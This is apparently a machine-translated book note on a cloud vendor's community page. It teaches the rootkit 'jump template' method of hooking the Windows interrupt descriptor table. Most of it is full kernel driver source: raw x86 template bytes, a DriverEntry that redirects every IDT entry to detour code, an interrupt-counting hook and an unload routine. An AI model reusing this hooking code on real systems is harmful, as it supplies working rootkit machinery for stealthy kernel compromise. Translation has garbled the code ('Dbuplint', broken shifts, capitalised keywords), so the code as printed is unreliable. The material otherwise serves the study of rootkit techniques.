Book note _ Rootkit Technology jump Template

Source: Internet
Author: User

Next we will introduce the hooks of the interrupt table. Because each interrupt service routine is located at a different address, the re-entry address of each item is unique, this requires a jump template to call the rootkit code. This technology is called the jump template technology.

All templates call the same rootkit code, and the function always returns its callers, so there is no need to worry about the runtime address correction in the rootkit code. This technique acts the unique code on each ISR (Interrupt Service Rountine) Hook. In the following example, this unique code saves the correct interrupt number for each interrupt processor.

Jump template, which first saves all registers, including the flag register, which will call another function provided by Rootkit in the future, so make sure that the content in the register is correct, to avoid a crash when calling the original Interrupt Routine.

The jump template consists of two versions, which depend on debugging mode or release mode for compilation. The debugging version does not actually call the rootkit code. The call is processed by the NOP operation. In the released version, the call is performed after the register is saved, and the Register content is restored in reverse order. The call is defined as stdcall, which means that the function will be cleaned up after execution. Finally, you should be aware of the Code to port a value into eax and push it to the stack. When DriverEntry is running, this value is attached with the interrupt number. This is how the rootkit code gets to know which interrupt method is just called. The following code is used:

# Ifdef _ DEBUG

// Debuggering version nops out our 'hook'

// This works w/no crashes

Char jump_template [] = {

0x90, // nop, debug

0x60, // pushad

0x9C, // pushfd

0xB8, 0xAA, 0x00, 0x00, 0x00, // mov eax, AAh

0x90, // push eax

0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // call 08: 44332211 h

0x90, // pop eax

0x9d, // popfd

0x61, // popad

0xEA, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00 // jmp 08: 44332211 h

};

# Else

Char jump_template [] = {

0x90, // nop, debug

0x60, // pushad

0x9C, // pushfd

0xB8, 0xAA, 0x00, 0x00, 0x00, // mov eax, AAh

0x50, // push eax

0x9A, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00, // call 08: 44332211 h

0x58, // pop eax

0x9d, // popfd

0x61, // popad

0xea, 0x11, 0x22, 0x33, 0x44, 0x08, 0x00 // JMP 08: 44332211 H

};

# Endif

The following code provides the function called for each interrupt. This function only calculates the number of calls to each interrupt. It uses the interrupt number as a parameter for passing. The multi-processor-safe interlockedincrement function is used to increase the interrupt counter. The interrupt counter is saved as a global array of the unsigned long type.

// Using stdcall means that this function fixes the stack before returning (opposite of cdecl)

// Interrupt number passed in eax

Void _ stdcall count_interrupts (unsigned long inumber)

{

// Todo, may have collisions here?

Unsigned long * aCountP;

Unsigned long aNumber;

 

// Due to far call, we need to correct the base pointer

// The far call pushes a double dword as the return address

// And I don't know how to make the compiler understand this

// Is a _ far _ stdcall (or whatever it's called)

// Anyway:

//

// [Ebp + 0Ch] = arg1

//

_ Asm mov eax, [ebp + 0Ch]

_ Asm mov aNumber, eax

// _ Asm int 3

 

ANumber = aNumber & 0x000000FF;

ACountP = & g_ I _count [aNumber];

InterlockedIncrement (aCountP );

}

The DriverEntry routine runs the patch, performs the correction operation, and generates a jump template for each item in the interrupt service table.

NTSTATUS DriverEntry (IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath)

{

IDTINFO idt_info; // this structure is obtained by calling store idt (sidt)

Idtentry * idt_entries; // and then this pointer is obtained from idt_info

Idtentry * I;

Unsigned long ADDR;

Unsigned long count;

Char _ t [255];

Thedriverobject-> driverunload = onUnload;

// Initialize the Global interrupt count table below, which stores the number of calls to each interrupt. The interrupt number corresponds to // The offset in the array

For (COUNT = start_idt_offset; count <max_idt_entries; count ++)

{

G_ I _count [count] = 0;

}

 

// Load idt_info

_ Asm sidt idt_info

Idt_entries = (IDTENTRY *) MAKELONG (idt_info.LowIDTbase, idt_info.HiIDTbase );

 

//////////////////////////////////////// ////

// Save old idt pointers

//////////////////////////////////////// ////

For (count = START_IDT_OFFSET; count <MAX_IDT_ENTRIES; count ++)

{

I = & idt_entries [count];

Addr = MAKELONG (I-> LowOffset, I-> HiOffset );

_ Snprintf (_ t, 253, "Interrupt % d: ISR 0x % 08X", count, addr );

Dbuplint (_ t );

Old_ISR_pointers [count] = MAKELONG (idt_entries [count]. LowOffset, idt_entries [count]. HiOffset );

}

 

// Allocate enough memory below to store all jump templates. This memory must be in // NonPagedpool

//////////////////////////////////////// ///

// Setup the detour table

//////////////////////////////////////// ///

Idt_detour_tablebase = ExAllocatePool (NonPagedPool, sizeof (jump_template) * 256 );

// Use the following code to obtain the pointer of each jump table position in NonPagePool. Rewrite the jump template to this position, then, paste the correct re-entry address and interrupt number into the jump template. Perform these operations for each interrupt // each time.

For (count = START_IDT_OFFSET; count <MAX_IDT_ENTRIES; count ++)

{

Int offset = sizeof (jump_template) * count;

Char * entry_ptr = idt_detour_tablebase + offset;

 

// Entry_ptr points to the start of our jump code in the detour_table

 

// Copy the starter code into the template location

Memcpy (entry_ptr, jump_template, sizeof (jump_template ));

 

# Ifndef _ DEBUG

 

// Stamp the interrupt number

Entry_ptr [4] = (char) count;

 

// Stamp the far call to the hook routine

* (Unsigned long *) (& entry_ptr [10]) = (unsigned long) count_interrupts;

# Endif

 

// Stamp the far jump to the original ISR

* (Unsigned long *) (& entry_ptr [20]) = old_isr_pointers [count];

// Modify the interrupt table entry to point to the newly created jump Template

// Finally, make the interrupt point to our template code

_ Asm cli

Idt_entries [count]. LowOffset = (unsigned short) entry_ptr;

Idt_entries [count]. HiOffset = (unsigned short) (unsigned long) entry_ptr> 16 );

_ Asm sti

}

 

Dbuplint ("Hooking Interrupt complete ");

 

Return STATUS_SUCCESS;

}

The OnUnload routine in the following Code restores the original interrupt table and prints the number of calls to each interrupt. If the keyboard interrupt cannot be found, you can try this driver and press a key for 10 times, during the uninstallation, the keyboard interruption is recorded as 20 calls.

VOID OnUnload (IN PDRIVER_OBJECT DriverObject)

{

Int I;

IDTINFO idt_info; // this structure is obtained by calling store idt (sidt)

IDTENTRY * idt_entries; // and then this pointer is obtained from idt_info

Char _ t [255];

 

// Load idt_info

_ Asm sidt idt_info

Idt_entries = (IDTENTRY *) MAKELONG (idt_info.LowIDTbase, idt_info.HiIDTbase );

 

Dbuplint ("ROOTKIT: OnUnload called \ n ");

 

For (I = START_IDT_OFFSET; I <MAX_IDT_ENTRIES; I ++)

{

_ Snprintf (_ t, 253, "interrupt % d called % d times", I, g_ I _count [I]);

Dbuplint (_ t );

}

 

Dbuplint ("UnHooking Interrupt ...");

 

For (I = START_IDT_OFFSET; I <MAX_IDT_ENTRIES; I ++)

{

// Restore the original interrupt handler

_ Asm cli

Idt_entries [I]. LowOffset = (unsigned short) old_ISR_pointers [I];

Idt_entries [I]. HiOffset = (unsigned short) (unsigned long) old_ISR_pointers [I]> 16 );

_ Asm sti

}

 

Dbuplint ("UnHooking Interrupt complete .");

}

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.